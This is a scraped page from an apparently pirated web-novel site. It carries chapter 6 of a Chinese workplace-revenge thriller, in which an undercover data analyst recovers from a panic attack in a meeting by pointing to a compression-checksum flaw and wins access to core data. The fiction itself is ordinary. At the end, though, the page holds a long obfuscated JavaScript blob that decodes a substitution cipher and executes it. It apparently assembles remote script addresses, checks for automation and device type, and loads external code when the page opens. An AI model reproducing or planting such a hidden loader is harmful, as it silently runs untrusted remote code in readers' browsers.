首页
第6章:急智与转机
返回
关灯 护眼:关 字号:小

第6章:急智与转机

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第6章:急智与转机(第1/2页)
    冷水拍打在脸上的触感是冰冷的,带着消毒水气味的自来水顺着脸颊滑落,滴进洗手池里。路容双手撑在白色陶瓷洗手池边缘,指关节因为用力而泛白。她抬起头,镜子里的人脸色惨白,嘴唇没有血色,眼睛周围有淡淡的红晕——那是刚才强忍泪水留下的痕迹。
    洗手间里很安静。
    只有水龙头没有拧紧时水滴落下的滴答声,远处排风扇低沉的嗡鸣,还有她自己急促的呼吸声在瓷砖墙面间回荡。空气里有柠檬味清洁剂的味道,混合着洗手液淡淡的薰衣草香气。路容看着镜中的自己,那双眼睛里充满了恐惧——不是对李剑的恐惧,而是对自己失控的恐惧。
    她以为她准备好了。
    三年时间,她反复练习如何在李剑面前保持平静,如何在高压环境下控制呼吸,如何在听到那个名字时不颤抖。她以为那些创伤已经被时间磨平,被复仇的意志覆盖。可就在刚才,当李剑坐在会议室主位,用那种熟悉的、冰冷的审视目光看着她时,三年前的一切瞬间复活了。
    那种窒息感,那种喉咙被扼住的感觉,那种全世界都在旋转的眩晕。
    路容闭上眼睛,深深吸了一口气。空气里消毒水的味道刺进鼻腔,让她稍微清醒了一些。她不能在这里倒下。如果现在放弃,那三年的隐忍、伪装、痛苦就全都白费了。她会永远背负着“泄密者”的污名,而李剑会继续逍遥法外,用同样的手段毁掉更多人。
    “不能在这里倒下……”她低声重复,声音在空旷的洗手间里显得格外微弱。
    她睁开眼睛,再次看向镜子。这一次,她强迫自己把注意力从恐惧转移到回忆上。刚才冲出会议室前,她看到了什么?在那一瞬间的混乱中,她的视线扫过了什么?
    周哲的电脑屏幕。
    对,周哲坐在她斜对面,他的笔记本电脑屏幕是开着的。在她起身逃离的那一刻,她瞥见了屏幕上的内容——一份技术文档,标题栏写着“深港市智慧交通数据流压缩算法优化方案”。文档里有很多图表和参数,其中有一个参数被标红了,旁边有批注:“非标准校验参数,可能导致特定模式丢失”。
    非标准校验参数。
    模式丢失。
    路容的大脑开始飞速运转。她刚才分析的数据流是实时用户行为数据,来自星耀集团旗下的一款社交应用。如果数据在传输过程中使用了非标准的压缩算法,而那个算法存在校验参数的问题,那么某些特定的用户行为模式就可能因为数据包重组错误而丢失或变形。
    这不是她的专业领域,但她懂基本原理。更重要的是,她记得周哲那份文档里的具体参数值——0x7F3A。一个十六进制的校验码,通常用于数据完整性验证。如果这个参数设置不当,确实可能导致特定字节序列的误判。
    一个大胆的想法在她脑海中成形。
    路容拧紧水龙头,水滴声停止了。她从包里抽出纸巾,仔细擦干脸上的水渍。然后她打开化妆包,用粉底轻轻遮盖眼周的红晕,涂上一点口红。镜子里的人渐渐恢复了“若溪”该有的样子——一个冷静、专业、偶尔会紧张但总体可控的新人数据分析师。
    她需要五分钟。
    五分钟时间,在脑海里构建完整的解释逻辑。五分钟时间,让心跳恢复正常,让呼吸平稳下来。五分钟时间,说服自己重新走进那个会议室,面对那些目光。
    路容靠在冰冷的瓷砖墙上,闭上眼睛。她开始在心里默念:
    “第一,道歉。为刚才的突发不适道歉,但不要解释具体原因——就说突然头晕,低血糖。”
    “第二,转移焦点。不要纠缠于刚才的失态,立刻将话题引回数据分析。”
    “第三,提出技术假设。基于周哲文档里的参数,指出数据流可能存在因非标准压缩算法导致的模式丢失问题。”
    “第四,请求验证。请周哲确认这个技术点的存在,用他的专业权威为自己的假设背书。”
    “第五,争取机会。如果假设成立,请求获得完整数据进行深入分析。”
    每一步都要清晰,每一步都要坚定。她不能犹豫,不能结巴,不能露出任何破绽。
    路容睁开眼睛,看向洗手间门上的时钟。距离她冲出会议室已经过去三分钟。她整理了一下衬衫领口,抚平裙摆上的褶皱,然后深吸一口气,推开了隔间的门。
    走廊里的灯光比洗手间明亮得多。
    路容沿着来时的路往回走,高跟鞋踩在地毯上发出沉闷的声响。她能听见自己的心跳声,但这一次,心跳是规律的,是有力的。她经过几间办公室,透过玻璃墙能看到里面的人正在工作,没有人注意到她——或者注意到了,但假装没看见。在星耀集团,明哲保身是职场第一法则。
    会议室的门就在前方二十米处。
    路容在门前停下,手放在门把手上。她能听见门内传来模糊的说话声,是王总监的声音,语气里带着明显的不耐烦。她闭上眼睛,最后默念了一遍计划,然后推开了门。
    所有的目光瞬间聚焦在她身上。
    会议室里大约有十五个人,此刻全都转过头看向门口。路容能感觉到那些目光的重量——好奇的、疑惑的、讥诮的、审视的。王总监站在投影幕布前,手里拿着激光笔,话说到一半停住了,眉头皱了起来。周哲坐在原来的位置,看到她时明显松了口气,但眼神里依然有担忧。李剑坐在主位,身体微微后仰靠在椅背上,双手交叉放在桌上,脸上没有任何表情,只是看着她。
    空气凝固了几秒。
    路容走进会议室,轻轻关上门。她走到自己刚才的位置——椅子还倒在地上。她弯腰扶起椅子,动作很慢,很稳,像是在完成一个仪式。然后她坐下,打开笔记本电脑,屏幕亮起,显示的还是刚才那份数据流分析界面。
    “抱歉。”她开口,声音比想象中平稳,“刚才突然有点头晕,可能是低血糖。给大家添麻烦了。”
    王总监嗤笑了一声,声音不大,但在安静的会议室里格外清晰:“低血糖?若溪,这是公司的重要会议,不是学校课堂。如果你身体不适,应该提前请假。”
    “是我的失误。”路容抬起头,看向王总监,目光平静,“我会注意的。”
    她没有躲避,没有辩解,只是平静地承认。这种态度反而让王总监愣了一下,准备好的后续批评卡在了喉咙里。
    李剑的手指在桌面上轻轻敲了敲:“继续吧。王总监,你刚才说到哪里了?”
    “啊,是。”王总监回过神来,重新拿起激光笔,“我刚才说到,若溪的分析没有得出明确结论,我们需要重新评估这份数据流的价值……”
    “关于那份数据流,”路容打断了她,声音清晰而坚定,“我有一个新的想法。”
    会议室里再次安静下来。
    所有人都看向她。王总监的脸色沉了下来,显然对被打断很不满。周哲微微前倾身体,眼神里带着好奇。李剑的手指停止了敲击,目光落在路容脸上,那种审视的、探究的目光又回来了。
    路容能感觉到自己的手心在出汗,但她强迫自己保持声音的平稳:“我刚才分析数据流时,注意到异常模式的分布呈现非随机性。具体来说,异常点集中在数据包序列的特定位置,而且间隔呈现规律性。”
    她调出刚才的分析图表,用鼠标圈出几个点:“这里,这里,还有这里。间隔都是1024个数据包。这种规律性通常不是用户行为导致的,而是数据处理环节的问题。”
    王总监皱眉:“所以呢?这能说明什么?”
    “结合数据来源——我们使用的是第三方数据服务商提供的实时流,”路容继续说,语速适中,每个字都咬得很清楚,“我查过他们的技术文档,他们使用的数据压缩算法是自研的,不是行业标准算法。而自研算法如果校验参数设置不当,在特定数据包大小下,可能导致重组错误。”
    她停顿了一下,看向周哲:“周工,我记得你之前研究过数据流压缩算法优化。如果校验参数是0x7F3A,在1024字节的数据包边界,是不是容易出现特定模式的丢失?”
    周哲愣了一下,显然没想到会被点名。他迅速打开自己的电脑,调出那份技术文档,快速浏览了几秒,然后抬起头,眼神里闪过一丝惊讶:“确实。0x7F3A这个校验码在1024字节边界有一个已知的问题,会导致某些特定字节序列被误判为校验错误而被丢弃。”
    (本章未完,请点击下一页继续阅读)第6章:急智与转机(第2/2页)
    他看向投影幕布上的数据流图表,又看了看路容圈出的那些点,眉头渐渐皱起:“等等……如果数据服务商用的就是这个参数,那么你圈出的这些异常点位置,正好对应1024字节数据包的边界。这不太可能是巧合。”
    会议室里的气氛变了。
    刚才那些讥诮、怀疑的目光,此刻变成了认真和思考。几个技术骨干开始交头接耳,有人拿出手机查资料,有人在笔记本电脑上快速计算。王总监张了张嘴,想说什么,但看了看李剑的脸色,又闭上了嘴。
    李剑依然坐在那里,姿势没有变,但路容能感觉到他的注意力完全集中了。那种审视的目光变得更加锐利,像是在解剖她的每一句话,每一个表情。
    “所以你的结论是什么?”李剑开口,声音平静,但每个字都带着重量。
    “我的初步结论是,”路容迎上他的目光,没有躲避,“我们看到的‘用户行为异常模式’,可能根本不是用户行为问题,而是数据采集和传输环节的技术缺陷导致的假象。如果这个假设成立,那么基于这些数据做出的任何产品决策,都可能存在方向性错误。”
    她停顿了一下,补充道:“当然,这只是基于现有信息的假设,需要进一步验证。”
    会议室里一片寂静。
    只有空调出风口发出的轻微风声,笔记本电脑散热风扇的嗡鸣,还有远处城市交通传来的模糊噪音。路容能闻到咖啡的焦香,能感觉到空调冷风拂过手臂时起的鸡皮疙瘩,能听见自己平稳而有节奏的呼吸声。
    李剑沉默了很久。
    他的目光在路容脸上停留,然后移到周哲身上,又移回数据图表,最后重新落回路容。那眼神很复杂——有审视,有怀疑,但还有一种路容从未见过的、难以捉摸的东西。
    “周哲,”李剑终于开口,“这个技术点,你确定?”
    周哲点头:“确定。0x7F3A参数的问题在业内是已知的,但因为它不是标准参数,很多公司不会特别关注。如果数据服务商确实用了这个参数,那么若溪的假设有很高的可能性。”
    李剑的手指又在桌面上敲了敲,这次节奏很慢,像是在思考。敲击声在安静的会议室里格外清晰,像倒计时一样。
    终于,他看向王总监:“王总监,会后把‘深蓝计划’相关的完整数据权限开放给若溪。包括原始数据流、数据服务商的技术协议、还有我们内部的数据处理日志。”
    王总监的脸色变了:“李总,这……这是核心数据,若溪才入职两周……”
    “正因为她刚入职,没有思维定式,才能看出我们忽略的问题。”李剑打断她,语气不容置疑,“下周的进度会,我要看到她的深入分析报告。如果验证通过,数据服务商那边,你去沟通,要求他们提供技术说明,必要时可以重新谈判合同条款。”
    他重新看向路容,眼中审视未消,但嘴角微微勾起一个几乎看不见的弧度:“有点意思。”
    那三个字说得很轻,但落在路容耳中,却像重锤一样。
    她成功了。
    她用急智挽回了一场灾难,用专业知识赢得了继续潜伏的机会,甚至获得了接触更核心数据的权限。这本该是值得庆祝的时刻。
    可为什么,她心里没有一点喜悦?
    路容低下头,假装整理电脑文件,避开李剑的目光。她能感觉到周哲在看她,眼神里有赞赏,有好奇,还有一丝她不敢深究的关切。她能感觉到王总监的视线像刀子一样扎在她背上,充满了嫉妒和敌意。她能感觉到会议室里其他人复杂的目光——有佩服,有羡慕,也有警惕。
    “会议继续。”李剑的声音把她拉回现实,“下一个,周哲,你汇报一下算法模块的进展。”
    周哲站起身,走向投影幕布。会议室里的注意力转移了,但路容能感觉到,有些东西已经改变了。
    她获得了李剑的“兴趣”。
    在星耀集团,被李剑“感兴趣”是双刃剑。可能是晋升的捷径,也可能是深渊的开始。三年前,李剑也对路容“感兴趣”——欣赏她的才华,给她重要项目,然后在她最信任他的时候,亲手毁了她。
    现在,历史会重演吗?
    路容盯着电脑屏幕,数据图表在眼前晃动,但她什么也看不进去。她想起刚才李剑那个几乎看不见的笑容,想起他说“有点意思”时的语气,想起他眼中那种难以捉摸的神情。
    那不是一个上司对下属专业能力的单纯赞赏。
    那是一个猎手,发现了值得追踪的猎物时的表情。
    空调冷风再次拂过手臂,路容下意识地抱了抱手臂。会议室里的温度似乎降低了几度,或者只是她的错觉。她端起桌上的水杯,喝了一口,水温已经凉了,带着淡淡的氯味。
    周哲的汇报声音在会议室里回荡,专业、清晰、有条理。路容强迫自己集中注意力听,记下关键点,但她的思绪总是不由自主地飘向刚才那一刻——李剑沉默时,会议室里那种几乎凝固的气氛;他说“有点意思”时,眼中一闪而过的光芒;还有他吩咐王总监开放数据权限时,那种不容置疑的权威。
    她得到了想要的机会。
    但也把自己推到了更危险的边缘。
    会议在四十分钟后结束。人们陆续起身离开,椅子拖动的声音,低声交谈的声音,笔记本电脑合上的声音。路容慢慢收拾东西,故意拖到最后。她需要时间平复心情,需要思考下一步该怎么走。
    “若溪。”
    周哲的声音从身后传来。路容转过身,看到他站在会议室门口,没有离开。
    “你还好吗?”他问,语气里带着真诚的关心,“刚才真的只是低血糖?”
    路容点点头,挤出一个微笑:“嗯,早上没吃早饭。以后会注意的。”
    周哲看着她,眼神里有探究,但最终没有追问:“你刚才的分析很精彩。那个参数问题,连我都没第一时间想到。你是怎么注意到的?”
    “运气吧。”路容轻声说,避开他的目光,“正好瞥见了你电脑上的文档。”
    “瞥一眼就能记住参数值,还能联想到数据流问题,”周哲笑了笑,“这可不是运气。你是真的很有天赋。”
    路容的心脏猛地收紧。
    天赋。
    三年前,李剑也说过同样的话。他说:“路容,你是我见过最有天赋的数据分析师。”他说这句话时,眼神里满是赞赏,语气里满是信任。然后,他用这份“天赋”作为武器,毁掉了她的一切。
    “谢谢。”路容低声说,声音有些干涩。
    周哲似乎察觉到了她的异常,但只是说:“李总给了你数据权限,这是很好的机会。但也意味着压力会更大。如果需要帮助,随时找我。”
    他说完,转身离开了会议室。
    路容站在原地,看着他的背影消失在走廊拐角。阳光从窗户斜照进来,在地毯上投下明亮的光斑。空气中漂浮着细微的尘埃,在光柱里缓缓旋转。她能听见远处电梯到达的叮咚声,能闻到会议室里残留的咖啡香气,能感觉到指尖因为紧张而微微发麻。
    她成功了。
    但也可能,刚刚踏进了更深的陷阱。
    路容背起背包,走出会议室。走廊里的感应灯随着她的脚步一盏盏亮起,像在为她引路,也像在记录她的每一步。她走到电梯间,按下下行按钮,等待电梯从一楼缓缓上升。
    电梯门上的数字跳动:1,2,3……
    路容看着那些数字,脑海里回放着刚才会议室的每一个细节。李剑的表情,王总监的敌意,周哲的关心,还有她自己冷静说出那些技术分析时的声音。
    那个声音很平稳,很专业,完全不像一个刚刚经历崩溃的人。
    那是“若溪”的声音。
    不是路容的。
    电梯到达,门开了。路容走进去,按下二十七楼的按钮。电梯门缓缓关闭,镜面墙壁里映出她的脸——依然苍白,但眼神已经恢复了冷静,甚至有一丝冰冷。
    她看着镜中的自己,轻声说:
    “游戏开始了。”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();